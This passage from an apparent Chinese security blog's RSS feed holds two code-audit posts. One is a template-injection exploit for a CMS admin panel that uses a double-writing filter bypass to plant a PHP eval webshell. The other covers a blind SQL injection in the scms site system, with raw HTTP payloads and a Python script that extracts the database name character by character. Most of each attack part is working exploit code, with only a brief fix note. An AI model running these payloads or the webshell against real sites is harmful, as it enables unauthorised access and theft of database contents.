<p>可以看到使用<code>str_ireplace()</code>替换了危险关键字，不过只是替换了一次，可以双写绕过。</p>
<p>到目前为止，整个漏洞的构造链已经很清晰了。</p>
<p>修改模板 -> 构造恶意if语句块 -> 访问 <code>http://localhost/search/</code>触发代码执行</p>
<h1>exp构造</h1>
<ul>
<li>问题一：上文提到了可以用双写绕过，但是关键字会被替换成一个<code>*</code>，我们可以重新用str_replace替换回来</p>
</li>
<li>
<p>问题二：<code>$</code>被替换，没办法用双写绕过，我们用<code>get_defined_vars()</code>来构造，参考 <a href="https://y4er.com/post/apache-nginx-webshell/">PHP利用Apache、Nginx的特性实现免杀Webshell</a></p>
</li>
</ul>
<p>放一个我的构造的exp</p>
<p>后台 &#8211; 模板管理 &#8211; 修改search.html，添加一行</p>
<pre><code class="language-php ">{if:1)file_put_contents(str_replace('*','','Y4er.pphphp'),str_replace('*','','&lt;?pphphp evevalal(ggetet_defined_vars()[_PPOSTOST][1]);'));//}{end if}
</code></pre>
<p>然后访问<code>http://localhost/search/</code> 然后会在 <code>http://localhost/search/Y4er.php</code></p>
<h1>修复建议</h1>
<p>使用<code>preg_replace</code>过滤关键字而不是<code>str_ireplace()</code>，严格控制用户输入。</p>
<h1>写在文后</h1>
<p>需要登录后台，算是比较鸡肋，不过cnvd还爆了这个版本的注入，有兴趣的师傅可以看一下。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>scms企业建站系统盲注</title>
		<link>/audit/673.html</link>
					<comments>/audit/673.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 16 Jul 2019 05:32:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[scms]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=673</guid>

					<description><![CDATA[闲着无聊，看到cnvd上昨天爆出来一个scms的注入，今天分析一下。 E:\code\php\scms\js\scms.php:173 case "jssdk": $APPID =...]]></description>
										<content:encoded><![CDATA[<p>闲着无聊，看到cnvd上昨天爆出来一个<span class="wpcom_tag_link"><a href="/tags/scms" title="scms" target="_blank">scms</a></span>的<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，今天分析一下。</p>
<p>E:\code\php\scms\js\scms.php:173</p>
<pre><code class="language-php ">case "jssdk":
    $APPID = $C_wx_appid;
    $APPSECRET = $C_wx_appsecret;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid=" . $APPID . "&amp;secret=" . $APPSECRET, "");
    $access_token = json_decode($info)-&gt;access_token;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&amp;type=jsapi", "");
    $ticket = json_decode($info)-&gt;ticket;
    $url = $_POST["url"];
    $noncestr = gen_key(20);
    $timestamp = time();
    $pageid = $_POST["pageid"];
    if ($pageid == "") {
        $pageid = 1;
    }
    switch ($_POST["pagetype"]) {
        case "index":
            $img = $C_ico;
            break;
        case "text":
            $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
            break;
        case "product":
            $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
            break;
        case "productinfo":
            $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
            break;
        case "news":
            $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
            break;
        case "newsinfo":
            $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
            break;
        case "form":
            $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
            break;
        case "contact":
            $img = $C_ico;
            break;
        case "guestbook":
            $img = $C_ico;
            break;
    }

    $sign = sha1("jsapi_ticket=" . $ticket . "&amp;noncestr=" . $noncestr . "×tamp=" . $timestamp . "&amp;url=" . $url);

    echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";


    break;
</code></pre>
<p>可以看到<code>$pageid = $_POST["pageid"];</code>直接从POST中赋值，并且直接拼接到sql语句中。</p>
<p>过滤了一些东西，在这我给出一个payload</p>
<p>首先先判断pageid是否存在</p>
<pre><code class="language-php ">POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local/
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&amp;pageid=78
</code></pre>
<p>如果存在返回包应该是包含了img字段并且有具体的图片地址，例如</p>
<pre><code class="language-json ">{"nonceStr":"merxK0Nu9iDC89zy4hGa","timestamp":"1563254507","signature":"5a8ed288f82d8292c5372636a57c43461dac8104","appid":"wxXXXXXXXXXX","img":"http://php.local/media/20151019120842158.jpg","ticket":""}
</code></pre>
<p>如果你的pageid是不存在的话，你的sleep时间将会是5的倍数</p>
<p>可以参考admintony师傅的文章<a href="https://www.t00ls.net/articles-45590.html">MySQL的逻辑运算符(and_or_xor)的工作机制研究</a></p>
<p>给出payload</p>
<pre><code class="language-http ">POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local/
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&amp;pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
</code></pre>
<p>值得一提的是scms过滤了一系列关键字比如<code>select</code> <code>update</code> <code>'</code> <code>/*</code> <code>\</code>，那么具体的payload就靠大家发挥了<br />
在这提供一个poc</p>
<pre><code class="language-python ">POC代码如下：
import requests
import urllib.parse

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'

url='http://local/js/scms.php'

def getDatabaseLength():
    print('开始爆破数据库长度。。。')
    for i in range(10):
        payload="1%0Aand%0Aif(length(database())&gt;{},1,0)#".format(i)
        payload=urllib.parse.unquote(payload)
        data = {
            'action':'jssdk',
            'pagetype':'text',
            'pageid':payload
        }
        # print(data)
        # data = urllib.parse.unquote(data)
        # print(data)
        rs = requests.post(url=url,data=data)
        rs.encode='utf-8'
        # print(rs.text)
        if "20151019102732946.jpg" not in rs.text:
            print("数据库名的长度为：{}".format(i))
            return i

def getDatabaseName():
    print('开始获取数据库名')
    databasename = ''

    length = getDatabaseLength()
    # length = 4
    for i in range(1,length+1):
        for c in chars:
            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
            # print(payload)
            payload = urllib.parse.unquote(payload)
            data = {
                'action': 'jssdk',
                'pagetype': 'text',
                'pageid': payload
            }
            rs = requests.post(url=url, data=data)
            rs.encode = 'utf-8'
            # print(rs.text)
            if "20151019102732946.jpg" in rs.text:
                databasename = databasename+c
                print(databasename)

    return databasename
getDatabaseName()
</code></pre>
<p>总的来说应该也算一个运气洞了</p>
]]></content:encoded>
					
					<wfw:commentRss>/audit/673.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
